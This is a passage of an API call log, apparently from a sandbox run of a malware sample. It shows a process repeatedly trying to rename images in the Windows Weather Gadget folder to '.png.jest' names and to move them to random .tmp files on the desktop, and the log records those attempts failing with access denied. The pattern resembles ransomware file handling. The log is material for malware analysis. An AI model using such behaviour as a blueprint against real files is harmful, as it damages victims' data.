ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1b01c7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x57, dwReserved1=0x0, cFileName="27.png", cAlternateFileName="")) returned 0x143ce48 [0127.988] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.989] VarBstrFromR4 (in: fltIn=0x479445e9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.82") returned 0x0 [0127.989] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.989] CoFreeUnusedLibraries () [0127.989] GetTickCount () returned 0x11526d3 [0127.989] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.989] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.989] GetTickCount () returned 0x11526d3 [0127.989] IsWindowVisible (hWnd=0x30268) returned 0 [0127.989] Sleep (dwMilliseconds=0x0) [0127.990] GetFullPathNameA (in: lpFileName="SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp", lpFilePart=0x18e708*="SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp") returned 0x8f [0127.990] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png", lpFilePart=0x18e708*="27.png") returned 0x4b [0127.990] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\smulgmoeebndsbnp9fempjzvo69u1t-rixgkpl0k_xqy5uosodwldw9otlppcciqsu6-0gjzjkjdsx3o0qumu6fezb0zaqp_uiinh.tmp")) returned 0 [0127.992] GetLastError () returned 0x5 [0127.992] GetLastError () returned 0x5 [0127.992] SetLastError (dwErrCode=0x5) [0127.992] GetLastError () returned 0x5 [0127.992] SetLastError (dwErrCode=0x5) [0127.992] GetLastError () returned 0x5 [0127.992] SetLastError (dwErrCode=0x5) [0127.992] GetFullPathNameA (in: lpFileName="SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp", lpFilePart=0x18e6e4*="SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp") returned 0x8f [0127.992] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SMULGmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4c554d53, cFileName="GmOeEBNDsbnp9feMPjZvO69u1t-rixGkPL0k_XQy5uOSodWLDw9oTlPPCcIQSU6-0GjZjkJDsX3O0qUmu6fezB0zAQp_UiinH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.992] GetLastError () returned 0x2 [0127.992] GetLastError () returned 0x2 [0127.993] SetLastError (dwErrCode=0x2) [0127.993] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.993] CoFreeUnusedLibraries () [0127.993] GetTickCount () returned 0x11526e2 [0127.993] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.993] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.993] GetTickCount () returned 0x11526e2 [0127.993] IsWindowVisible (hWnd=0x30268) returned 0 [0127.993] Sleep (dwMilliseconds=0x0) [0127.994] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png.jest")) returned 0 [0127.996] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png", lpFilePart=0x18e6d8*="26.png") returned 0x4b [0127.996] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc18a068, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc18a068, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x57, dwReserved1=0x0, cFileName="26.png", cAlternateFileName="")) returned 0x143ce48 [0127.997] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.998] VarBstrFromR4 (in: fltIn=0x479445eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.84") returned 0x0 [0127.998] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.998] CoFreeUnusedLibraries () [0127.998] GetTickCount () returned 0x11526e2 [0127.998] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.998] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.998] GetTickCount () returned 0x11526e2 [0127.998] IsWindowVisible (hWnd=0x30268) returned 0 [0127.998] Sleep (dwMilliseconds=0x0) [0127.999] GetFullPathNameA (in: lpFileName="oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp", lpFilePart=0x18e708*="oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp") returned 0x8d [0127.999] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png", lpFilePart=0x18e708*="26.png") returned 0x4b [0128.000] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ov cq0eqfoxx38ukrcu0h mbszdehlepqkiq_3dcsvm1thzmzmijz z8hohy9ou2tic5s5egv1l2b8uzrf2vzu3h0q95zsegq32.tmp")) returned 0 [0128.001] GetLastError () returned 0x5 [0128.001] GetLastError () returned 0x5 [0128.001] SetLastError (dwErrCode=0x5) [0128.002] GetLastError () returned 0x5 [0128.002] SetLastError (dwErrCode=0x5) [0128.002] GetLastError () returned 0x5 [0128.002] SetLastError (dwErrCode=0x5) [0128.002] GetFullPathNameA (in: lpFileName="oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp", lpFilePart=0x18e6e4*="oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp") returned 0x8d [0128.002] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oV cq0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6320566f, cFileName="q0EqfOXx38ukrCu0H MBSzDEhLePqkiQ_3DCsVM1thzMzmiJz Z8hoHY9oU2tIC5s5EGv1L2b8uZrf2vzU3h0q95zsEgQ32.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.002] GetLastError () returned 0x2 [0128.002] GetLastError () returned 0x2 [0128.002] SetLastError (dwErrCode=0x2) [0128.003] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.003] CoFreeUnusedLibraries () [0128.003] GetTickCount () returned 0x11526e2 [0128.003] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.003] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.003] GetTickCount () returned 0x11526e2 [0128.003] IsWindowVisible (hWnd=0x30268) returned 0 [0128.003] Sleep (dwMilliseconds=0x0) [0128.004] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\34.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\34.png.jest")) returned 0 [0128.006] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png", lpFilePart=0x18e6d8*="34.png") returned 0x4b [0128.006] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc26e8a2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc26e8a2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd77e39c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x57, dwReserved1=0x0, cFileName="34.png", cAlternateFileName="")) returned 0x143ce48 [0128.007] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.008] VarBstrFromR4 (in: fltIn=0x479445ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.85") returned 0x0 [0128.008] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.009] CoFreeUnusedLibraries () [0128.009] GetTickCount () returned 0x11526f2 [0128.009] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.009] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.009] GetTickCount () returned 0x11526f2 [0128.009] IsWindowVisible (hWnd=0x30268) returned 0 [0128.009] Sleep (dwMilliseconds=0x0) [0128.011] GetFullPathNameA (in: lpFileName="Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp", lpFilePart=0x18e708*="Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp") returned 0x8f [0128.011] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png", lpFilePart=0x18e708*="34.png") returned 0x4b [0128.011] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\34.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjg0gvmfrmzalgacymozo0-6s93yykazlra_qq5ukyf3pnlc4bkn0kjvba2 _klgcgvppy0of-79lwwxgtnfcpp44f0qztbsopuvh.tmp")) returned 0 [0128.013] GetLastError () returned 0x5 [0128.013] GetLastError () returned 0x5 [0128.013] SetLastError (dwErrCode=0x5) [0128.013] GetLastError () returned 0x5 [0128.013] SetLastError (dwErrCode=0x5) [0128.013] GetLastError () returned 0x5 [0128.013] SetLastError (dwErrCode=0x5) [0128.013] GetFullPathNameA (in: lpFileName="Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp", lpFilePart=0x18e6e4*="Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp") returned 0x8f [0128.013] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjg0GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x30676a50, cFileName="GvmFRmZaLgACyMozo0-6s93yykAzLra_qq5uKyF3PNLc4bKn0kjvBA2 _KlGcgvppy0oF-79lWWXgtnFCpp44F0QztbSopUvh.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.014] GetLastError () returned 0x2 [0128.014] GetLastError () returned 0x2 [0128.014] SetLastError (dwErrCode=0x2) [0128.014] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.014] CoFreeUnusedLibraries () [0128.014] GetTickCount () returned 0x11526f2 [0128.014] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.014] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.014] GetTickCount () returned 0x11526f2 [0128.014] IsWindowVisible (hWnd=0x30268) returned 0 [0128.014] Sleep (dwMilliseconds=0x0) [0128.017] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\33.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\33.png.jest")) returned 0 [0128.019] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png", lpFilePart=0x18e6d8*="33.png") returned 0x4b [0128.019] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc248743, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc248743, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x57, dwReserved1=0x0, cFileName="33.png", cAlternateFileName="")) returned 0x143ce48 [0128.020] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.021] VarBstrFromR4 (in: fltIn=0x479445ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.85") returned 0x0 [0128.021] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.021] CoFreeUnusedLibraries () [0128.021] GetTickCount () returned 0x11526f2 [0128.021] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.021] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.021] GetTickCount () returned 0x11526f2 [0128.021] IsWindowVisible (hWnd=0x30268) returned 0 [0128.021] Sleep (dwMilliseconds=0x0) [0128.022] GetFullPathNameA (in: lpFileName="uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp", lpFilePart=0x18e708*="uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp") returned 0x8d [0128.022] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png", lpFilePart=0x18e708*="33.png") returned 0x4b [0128.023] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\33.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uknror_he7ukkmjgkggz-qq 5bgqqrpfbb80fyageomiqvqzpadm82q38buq-oald8sjkrxwjwamm_ebs466jdwks _izgufm47.tmp")) returned 0 [0128.024] GetLastError () returned 0x5 [0128.025] GetLastError () returned 0x5 [0128.025] SetLastError (dwErrCode=0x5) [0128.025] GetLastError () returned 0x5 [0128.025] SetLastError (dwErrCode=0x5) [0128.025] GetLastError () returned 0x5 [0128.025] SetLastError (dwErrCode=0x5) [0128.025] GetFullPathNameA (in: lpFileName="uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp", lpFilePart=0x18e6e4*="uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp") returned 0x8d [0128.025] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uKNROr_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x524e4b75, cFileName="Or_hE7uKKMJgKgGZ-Qq 5bgQQRpfbB80fyAgEomiqvqZpAdm82Q38buq-OaLD8sJKrXwjWAMM_EbS466jDWkS _IzGUFm47.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.025] GetLastError () returned 0x2 [0128.025] GetLastError () returned 0x2 [0128.025] SetLastError (dwErrCode=0x2) [0128.025] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.026] CoFreeUnusedLibraries () [0128.026] GetTickCount () returned 0x1152701 [0128.026] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.026] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, 